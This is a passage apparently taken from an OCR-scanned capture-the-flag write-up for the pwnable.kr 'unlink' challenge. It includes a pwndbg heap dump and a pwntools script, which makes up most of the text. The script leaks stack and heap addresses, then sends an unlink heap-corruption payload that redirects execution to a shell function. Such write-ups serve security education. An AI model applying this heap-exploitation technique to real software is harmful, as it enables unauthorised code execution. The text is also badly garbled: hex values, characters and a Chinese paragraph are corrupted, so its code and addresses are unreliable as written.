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unlink - 10 pt [writeup]

Daddy! how can | exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

pwned (1420) times. early 30 pwners are :( akiym

Flag? : auth
b 4
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pwnable.kr

# Linux prowl 4.4.179-0404179-generic #201904270438 SMP Sat Apr 27 08:41:19 UTC 2019 x86_64 x86_64 x86_64 G
# Linux version 4.4.179-0404179-generic (kernel@tangerine) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubunt
# Distributor ID: Ubuntu
# Description: Ubuntu 16.04.6 LTS
# Release: 16.04
# Codename: xenial
# (Ubuntu GLIBC 2.23-0Qubuntull) 2.23
# gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntul~16.04.11)
AL
# Linux mypwn 4.9.184-1linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# Linux version 4.9.184-linuxkit (root@a8c33e955a82) (gcc version 8.3.0 (Alpine 8.3.0) ) #1 SMP Tue Jul 2 2
# Distributor ID: Ubuntu
# Description: Ubuntu 18.04.2 LTS
# Release: 18.04
# Codename: bionic
# (Ubuntu GLIBC 2.27-3ubuntul) 2.27
# gcc version 7.4.0 (Ubuntu 7.4.0-1lubuntul~18.04.1)
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pwndbg> x/50x 0x9062570-0x10

0x9062560: 0x000000VO Ox0VVVLVRO Ox0VVVLLRO ©x00021
0x9062570: 0x09062590 0x00000000 Ox00VVVRO Ox000
0x9062580: 0x000000V0 Ox0VVVLLRO Ox0VVVLLRO ©x00V21
0x9062590: 0x090625b0 0x09062570 Ox000VVVOO Ox000
0x90625a30: 0x0000VVVO VX0V Ox00VVLLLO ©x00VV21
0x90625b0: 0x000000V0 0x09062590 Ox0OVVVVRO Ox000
0x90625c0: Ox0000VVRO VX0V Ox0VVPLRO ©x0VV411
0x90625d0: 0x20776f6e Ox74616874 0x75617920 0x76616820
0x90625e0: Ox656Cc2065 Ox2c736b61 Ox74656720 Ox65687320
0x90625f0: OxPa2l6c6c OxPPPa340a Ox00VVVVRO Ox000
0x9062600: 0x0000VVV0 OXxPVVVVVPO Ox0VVVVRO Ox000
0x9062610: 0x0000VVV0 OXxOVVVVVPO Ox0VVVVPRO Ox0V0
0x9062620: 0x0000VRRO ©x0VVLO

Em%BK B RheapiyEiaitiht, FHAEMINAFELL, FEBKIdocker B IH 73 BL B I A7 2 0x20. Fr LA R34 &
AR A RS —FEH .

THE RS B AN M pwnable.kr B A FF KA, R E debugae Bt T LAY #t



#!python
#coding:utf8

from pwn import *

context.log level = 'debug'

path_name = 'unlink'

process_name = './'+path_name

elf = ELF(process_name)

debug = ©
if debug == 1:
p = process(argv=[process_name], env={'LD_LIBRARY_PATH':'./'})
else:
s = ssh(host="'pwnable.kr',user=path_name,password="'guest',port=2222)
p = s.process(argv=[path_name], executable='/home/"'+path_name+'/"'+path_name)

p.recvuntil('here is stack address leak: ')
data = int(p.recvuntil('\n')[:-1], 16)
log.info("stack => %#x", data)

ebp = data + ox14

p.recvuntil('here is heap address leak: ')
data = int(p.recvuntil('\n')[:-1], 16)
log.info("heap => %#x", data)

heap_addr = data

if debug ==

# Linux mypwn 4.9.184-1inuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

# Linux version 4.9.184-linuxkit (root@a8c33e955a82) (gcc version 8.3.0 (Alpine 8.3.0) ) #1 SMP Tue Jul 2
# Distributor ID: Ubuntu

# Description: Ubuntu 18.04.2 LTS

# Release: 18.04

# Codename: bionic

# (Ubuntu GLIBC 2.27-3ubuntul) 2.27

# gcc version 7.4.0 (Ubuntu 7.4.0-1lubuntul~18.04.1)

payload = p32(elf.symbols['shell']) + "\x00'*16 + p32(0x20+1) + p32(heap_addr+12) + p32(ebp-4)
else:

# Linux prowl 4.4.179-0404179-generic #201904270438 SMP Sat Apr 27 ©08:41:19 UTC 2019 x86_64 x86_64 x86_64
# Linux version 4.4.179-0404179-generic (kernel@tangerine) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubun
# Distributor ID: Ubuntu

# Description: Ubuntu 16.04.6 LTS

# Release: 16.04

# Codename: xenial

# (Ubuntu GLIBC 2.23-Qubuntull) 2.23

# gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntul~16.04.11)

payload = p32(elf.symbols['shell']) + "\x00'*12 + p32(heap_addr+12) + p32(ebp-4)

# # way 2:

#

payload = p32(elf.symbols['shell']) + "\x00'*12 + p32(ebp-8) + p32(heap_addr+12)

p.sendlineafter('get shell!\n', payload)

p.interactive()
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